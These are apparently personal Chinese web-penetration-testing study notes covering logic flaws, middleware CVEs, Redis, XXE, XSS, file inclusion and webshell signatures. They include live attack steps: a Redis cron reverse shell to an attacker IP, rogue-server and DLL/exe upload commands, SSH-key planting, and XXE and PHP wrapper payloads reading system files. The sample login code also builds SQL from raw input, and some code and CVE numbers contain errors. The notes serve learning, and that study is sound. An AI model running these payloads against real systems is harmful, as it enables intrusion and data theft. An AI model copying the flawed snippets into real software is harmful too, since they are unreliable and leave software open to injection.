以PHP为例子网站开发

若某功能点代码中以$a=$_GET[‘x’]; 方式接受数据,只有提交时以GET提交才可以。

$_request[]:接收所有方式,包括get的请求和post请求

cookie存储在本地客户端的,浏览器删除记录就会消失

seesion存储在服务器的服务端,浏览器关闭就会消失,再建立就会变成新的

假如是 include ‘config.php’接收表单的账号密码

$user=$_POST[‘username’];

$paa=$_POST[‘password’];

$conn=mysqli_connect(DB_HOST,DB_USER,DB_PASS,DB_NAME); //服务端连接数据库

$sql=”select * from admin where username=’$user’ and password=’$pass’ “; //拼凑成查询语句,用户账号密码从POST获取

$data=mysqli_query($conn,$sql); //服务端登录成功后,通过sql语句去查询相关内容

if(mysqli_num_rows($data)>0){ //若成功查询,则会有行数,即大于0,若查询失败则为空值

echo “<script>alert(‘成功’)”;

header(‘Location:index.php’); //跳转相应的网页

exit();}


以index.php为例子,很多页面需要登录才能访问,若每一页的代码中都需要连接数据库验证,则会极大程度消耗资源,因此引申出的未授权问题以及cookie的使用:



$data=mysqli_query($conn,$sql);  //服务端登录成功后,通过sql语句去查询相关内容

if(mysqli_num_rows($data)>0){    //若成功查询,则会有行数,即大于0,若查询失败则为空值
$expire = time() + 60*60*24*30;//一个月过期
setcookie('username',$md5($user),$expire.'/');
setcookie('password',$md5($pass),$expire.'/');
echo "<script>alert('成功')"; 

header('Location:index.php');  //跳转相应的网页

exit();}

上述代码绿色部分为使用cookie,于是,需要授权的页面验证cookie值就可以了,如下:

if ($_COOKIE[‘username’]==’xx’ and $_COOKIE[‘password’]==’xx’){
} //服务器服务端验证cookie

cookie是凭据,除非删除或者设置为空,不会消失。仅通过cookie鉴定权限存在极大安全隐患,因此使用seesion

session:

是用session的情况下,浏览器的cookie部分信息显示如下图:

session保存在服务器的服务端,更加安全。


在存在登录功能的页面通常攻击者采用暴力破解的方式猜解密码

<?php // 启动会话 session_start(); // 检查会话中是否已经存在 ‘token’,如果没有则创建一个新的令牌 if (!isset($_SESSION[‘token’])) { $_SESSION[‘token’] = bin2hex(random_bytes(32)); // 生成一个安全的随机令牌 } // 现在可以在会话中访问 $_SESSION[‘token’] ?>

使用 token 防止暴力破解、重放攻击是一种常见的安全措施,它主要通过以下步骤来实现:

  1. 生成 Token: 在用户进行登录或其他敏感操作之前,服务器会生成一个唯一的 token,并将其存储在服务器的会话或数据库中,同时将 token 发送到客户端(通常是浏览器)通过“检查”可以看到token。
  2. 验证 Token: 当用户提交登录请求时,服务器会要求客户端发送之前生成的 token。服务器会对比客户端发送的 token 与存储在服务器端的 token 是否一致。这是关键,使用bp重发器进行暴力破解,每发一次包服务端都会更新token。若手动则可以正常爆破,因为手动爆破下浏览器每次的token也会跟着改变。

new逻辑漏洞

一、越权

方向:1、垂直越权;2、水平越权 ;3、未授权/无级别用户

测试:

1、注册一个合法用户

2、修改用户密码时抓包,修改用户名

3、若成功,发生越权。

未授权:登录后,修改密码时抓包,将cookie删去,若还能执行,则存在未授权漏洞。

难点:判断数据包中与身份相关的字段,修改尝试越权。

打包下载js代码:

工具:packerfuzzer

python .\packerfuzzer.py -u https://x.x.x.x/xxx/xx

支付类型逻辑漏洞:

1、修改价格

2、修改数量

3、替换支付:以A的价格去买B的订单。先生成A的订单但是不支付,相当于修改的产品的其他信息。

优惠卷测试方式:盗用/复用:
盗用:算出优惠券id规律
复用:重复使用优惠券id


机制验证:

验证码突破-回传显示&规律爆破

验证目标-重定向目标&重定向发送

验证逻辑-修改响应包&跳过步骤url

一、验证码:

测试:发送一个错误验证码观察响应包,可能响应包中包含正确的验证码。

爆破要求:验证码能够回显,不限制爆破次数,不限制时间。

测试:注册一个合法的用户。修改或者找回密码时,收到验证码后拦截抓包,修改数据包中的账号相关信息比如邮箱或手机号码,若放行后成功则成功修改其他用户的密码。

二、验证目标:

测试:如果数据包中有外部地址,尝试修改成vps的地址,可能验证码会发改vps中。

三、前端验证绕过响应包

测试:先按照合法流程找回密码并且观察数据包,如记住响应报文状态码都是200。然后重置另外一个用户,由于不知道验证码,先填写错误的验证码进行拦截,抓包。由于bp默认只拦截请求报文不拦截响应报文,在本次测试右键接受响应报文,将合法的报文粘贴替换到非法报文中,若成功则能重置任意用户密码。


插件、工具 验证码:

1、图片验证码-识别插件,用处:登陆爆破&接口枚举

工具:https://www.github.com/smxiazi/NEW_xp_CAPTCHA


乌云文章:

1.支付功能

支付超时:存在类似orderid 和order_userid,同步递增递减尝试遍历。

2.验证码

短信轰炸:复用验证码,替换手机号码实现短信轰炸

密码重置:正常注册一个用户,重置密码,发送验证码验证成功后,先不要输入新的密码提交,在同一个浏览器,输入被测试账号,发送验证码提交,关闭该页面。此时再在原来的重置界面刷新,观察url是否发生变化,发生变化则输入新的密码并且提交,尝试是否能够修改受害用户的密码。 //原理:cookie混淆
发现思路:找回密码流程走到提交新密码阶段后,拦截抓包查看数据细节,寻找可控参数。

安恒redteam-2(中间件)

一、Tomcat(jsp网站)

弱口令&&部署war包

Vulhub下载yml文件,在kali运行

CVE-2017-12615[put方法]
运行环境:windows 且 开启http put(put默认关闭)
影响版本:apache tomcat 7.0.0-7.0.81
影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项

CVE-2019-0232[CGIServlet命令注入]

CVE-2020-1938[AJP]

弱口令&&部署war包:通用性漏洞-实战存在

War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)

如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。
进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。

拉取镜像

Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置

环境起不来

二、Nginx

CVE-2013-4547[文件名逻辑错误]

起环境

该漏洞在文件名后面加一个空格就可以绕过(linux)

将文件名修改为xx…php[空格] 一样可以发送

通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00

接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行

可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

CVE-201707529[越界读取缓存漏洞]

先启动环境

运行poc,发现获取到了多余的缓存内容

目录穿越

原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越

此时输入../能造成路径穿越

解析漏洞

类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。

但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行

CVE-2019-11043[PHP-FPM远程代码执行漏洞]

三、Apache

CVE-2017-15715[换行解析漏洞]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

上图为环境成功运行的反馈

如下图,直接上传文件会被拦截

在数据包中加入显示

多后缀解析漏洞

CVE-2021-40438[mod_proxy SSRF]

SSI远程命令执行

CVE-20221-41773[路径穿越]

只有符合该版本并且开cgi开启或cgid开启才可能被利用

上图环境起好了

CVE-2021-42013[路径穿越]

是对cve-2017-41773的绕过

Url二次解析绕过

四、Log4j

CVE-2017-5645[反序列化]

Log4j用于控制日志传输。信息格式级别

CVE-2021044228[JNDI注入]

环境起不来

Redis

Docker pull vertigo/redis4

Docker run -p 6379:6379 vertigo/redis4

1、

redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。

利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。

  • redis主从复制getshell

原理:一个实例为主,其他示例为从,主负责写,从负责读。

条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。

工具:redis-rogue-server

Url:https://github.com/Dliv3/redis-rogue-server

命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)

Windows下redis主从复制DLL劫持Getshell

  1. 工具:https://github.com/r35tart/RedisWriteFile //利用工具
  2. 恶意dll通过webshell调用利用:

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll

  • 上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”

下面是第二步dll生成的方式:

  1. github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
  2. 编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp

Linux系统下的redis

原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。

而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。

利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能

在实际情况内网环境中,ssh可能不是22端口。

  1. 在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa

即在当前目录下生成文件。

  • 生成带有换行符的密钥并传入redis

(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt

Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx

  • Config set dir /root/.ssh/   //设置目录
  • Set dbfilename authorized_keys  //设置文件名
  • Save //保存
  • Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x

Redis写入linux计划任务

漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)

利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。

漏洞利用:连接上redis的情况下:

  1. set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n”   //反弹shell监听443端口
  2. Config set dir /var/spool/cron/
  3. Config set dbfilename root
  4. Save

若不成功,需排查原因如出网的端口可能不是80或者443

Weblogic:(jsp网站)

CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞

漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发

Weblogic 10.3.6.0存在漏洞较多

CVE-2020-14883/CVE-2020-14882组合漏洞

14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。

通过14883可以使用14882进行命令执行getshell。

jboss(jsp网站)

新xxe

危害:读取任意文件

示例:在有xxe漏洞的地方输入

<!DOCTYPE note [ <!ENTITY name “xxxxxx”> ]>
<test>&name;</test>
可以触发显示xxxxxx

存在xxe的特征:

由上图可以看出,抓包发现有一个根元素,里面有两个子元素。

如上图,先在请求体添加一段定义实体的代码:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
然后再在标签中引入xxe,如<username>&xxe;</username>

如果观察响应体,要看哪些标签是会回显的,如<username></username>之间的会回显,而<passwd></passwd>不会回显。但是其实是可以执行的,回显就应该使用带外,如dnslog

外部xxe类似,如下图

其中x.x.x.x是vps,在vps的httpd服务目录下有一个1.dtd,dtd文件是以下内容:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<!DOCTYPE test [
<!ENTITY %a SYSTEM “http://x.x.x.x/x.dtd”>
%a;
]>
然后在存在漏洞且可以回显的标签下修改&xxe //因为dtd文件里是xxe

新xss

上图插入的xss,当受害用户点击会搜集相关信息,便于攻击者进行钓鱼攻击。

xss最主要的运用方式是操作cookie:

上图是javascript中windows.document的常用方法:
document.cookie=”username=John Doe”; //创建cookie
document.write(document.cookie) //读取cookie
document.cookie = “username=;expires= xxxxxxxxx”; //删除cookie

xss分类:
反射 payload插入html代码
存储 payload插入html代码
dom payload插入javascript代码 //dom-xss 也属于反射型xss

dom:

如果xss输入时有长度限制,尝试修改前端html代码,取消长度限制。

如上图,通过img的src来使得目标服务器向攻击机请求恶意文件。原理是某些标签有提交get请求的功能。

获取到cookie后可以直接利用,如下图:

在F12的storage功能下,点击+新建n个记录,分别对name、value进行修改成cookie中的值,刷新后便以当前cookie所属的身份进入系统。但是如果网页或者服务器开启 httponly =true 则获取不了cookie

AJAX异步:用于记录键盘输入

<?php
$img_path = $_GET[‘path’];
echo ‘<img src=”‘.$img_path'”> ‘;
?>

找xss的输出点,看看是否在某些标签内部,根据标签使用特定的事件触发xss

新命令执行

示例:
如某个功能点的设计本意是执行icmp ping,若在该输入框输入 x.x.x.x & whomai 之类的命令后得到预想中的结果。

若执行命令的函数被php设置的 disable functions 禁用,则需要bypass。

system():
输出执行结果

exec():
无回显,若使其输出,仅能输出最后一行。

shell_exec():
无回显,能输出所有结果

passthru():
输出执行结果

popen():
返回一个函数指针

` `反引号:背后调用的ell_exec()函数

新文件包含

文件包含导致代码解析的原理:如php文件中包含其他文件,若其他文件中包含部分php可执行的命令,则会被执行。

可见require()和include()的区别在于require()由于程序运行立即调用,因此文件不存在必报错。

文件包含与php配置有关,其中
allow_url_fopen=on/off 是否允许打开url文件,默认是开启。因为需要远程加载js文件或者图片。
allow_url_include=on/off 是否允许引用url文件,激活以url形式fopen封装协议,可以访问url对象文件,默认是关闭的。

文件包含分为本地文件包含(占绝大多数)以及远程文件包含。

本地文件包含:
通过相对路径或者绝对路径打开并包含本地文件的漏洞。
利用条件:
php配置中 allow_url_fopen=on (在php.ini文件中配置)
用户可以动态控制变量

测试1、php代码添加上”.php“之类的代码
绕过:
1、%00截断
2、输入超长字节数据,利用系统特性进行绕过(windows256字节,linux4096字节)
3、点号绕过

远程文件包含:
绕过:
1、 ?截断:在url后加上?,根据url的特性,?后面表示参数。
2、#绕过:在url后加上%23(%23是#的url编码)

测试2、若存在本地文件包含漏洞,但无法通过上传恶意php脚本、文件,如何?
解决:借助服务器已有的文件,并且能控制其输入,比如日志文件(access_log)

正常情况下,若执行命令成功,则日志会保存在目标系统的access_log文件中,若运行失败则保存在error_log文件中。尝试包含日志中的内容触发。
日志的路径在/var/log/https/access_log或者error_log

如上图,在存在文件包含漏洞的地方,通过如?filename=/var/log/httpd/access_log请求访问日志。应该注意的是,输入的url会被浏览器进行url编码,解决办法是通过bp将代码改回正常的php命令。然而发包出现400错误,因为<?php xxx ?>有空格,不过日志会正常的接收,见下图,日志文件中完整的保存了php语句,此时就可以包含该日志文件。


但正常情况下,日志文件既大并且内容杂,可能会影响php代码的执行。

测试3、伪协议

https://www.cnblogs.com/endust/p/11804767.html //伪协议的用法大全

php伪协议事实上是支持的协议与封装协议。如上图,重点使用其中的 php:// 访问各个输入/输出流。

1、file://
由上图可见 file://协议一般情况下都可以使用,如
?path=file://c:\windows\System32\drivers\etc\hosts
限制条件:只能使用绝对路径


2、php://filter
用途:读取php源码

如上图,该伪协议为重点使用的协议,用法如下:
?path=php://filter/read=convert.base64-encode/resource=xxxxxx.php(要读取源代码的文件)

3、php://input


用途:访问请求的原始数据的只读流,将post请求的数据作为php代码执行。
使用条件:
php.ini(在/etc/php.ini)中的 allow_url_include:on
使用方法:在存在文件包含的路径下输入
?file=php://input //在请求头中输入
php执行命令如<?php phpinfo();?> //在请求体中输入

4、data://


文件包含漏洞的常出现的点:

web shell 管理工具

#菜刀-流量&绕过&特征&检测

1、版本

2014 $_POST=$_REQUEST 2016 可以

2、特征:

数据包流量特征:

1,请求包中:ua头为百度爬虫

2,请求体中存在eval,base64等特征字符

3,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

#冰蝎-流量&绕过&特征&检测

0、介绍

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,

消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出。

1、通讯

以代码Key为密匙的AES加密解密过程

2、

特征:

0、User-agent:代码中定义

1、Pragma: no-cache

2、Content-Type:application/x-www-form-urlencoded

3、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

4、Accept-Encoding: gzip, deflate, br

5、Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

#哥斯拉-流量&绕过&特征&检测

1、通讯加密见图

2、特征:

1、User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

2、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

3、Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

4、Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44; cookie最后面存在一个”;”

跨域CORS资源&JSONP回调&域名接管劫持

新的知识点

一、CORS:
它和CSRF很像。CSRF可以操作数据包,但是CORS只能获取当前页面的资源。CSRF如果防御方配置同源策略的话就会不起作用。


#知识点:

1、子域名接管-检测&探针&利用

2、CORS跨域资源-检测&探针&利用

3、JSONP跨域回调-检测&探针&利用

#前置知识点:

-同源策略(SOP)-“同源”包括三个条件:同协议 同域名 同端口

同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制.简单说就是浏览器的一种安全策略。

虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能的实现,所以就有了许多跨域的手段。

-子域名接管:

域名解析记录指向域名,对应主机指向了一个当前未在使用或已经删除的特定服务,攻击者通过注册指向域名,从而控制当前域名的控制权,实现恶意软件分发、网络钓鱼/鱼叉式网络钓鱼、XSS 、身份验证绕过等。子域名接管不仅仅限于CNAME记录,NS,MX甚至A记录也会受到影响。

检测项目:

https://github.com/pwnesia/dnstake

https://github.com/anshumanbh/tko-subs

https://github.com/mhmdiaa/second-order

https://github.com/r3curs1v3-pr0xy/sub404

https://github.com/Echocipher/Subdomain-Takeover

-CORS跨域资源

CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。

Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。

Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。

Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

检测项目:https://github.com/chenjj/CORScanner

-JSONP跨域回调

JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

检测项目:手工审查元素筛选或Burp项目

https://github.com/p1g3/JSONP-Hunter


URL重定向(配合钓鱼)

URL重定向跳转

写代码时没有考虑过任意URL跳转漏洞,或者根本不知道/不认为这是个漏洞;

写代码时考虑不周,用取子串、取后缀等方法简单判断,代码逻辑可被绕过;

对传入参数做一些奇葩的操作(域名剪切/拼接/重组)和判断,适得其反,反被绕过;

原始语言自带的解析URL、判断域名的函数库出现逻辑漏洞或者意外特性,可被绕过;

原始语言、服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致绕过;

Web拒绝服务

现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险,导致服务器处理不过来或占用资源去处理。
比如图片、压缩文件可以被用户自定义大小,或者压缩包可以被无限解压,如果这个压缩包是恶意的套娃压缩包,网站有解压功能的话无限解压这些压缩包,就会耗尽资源。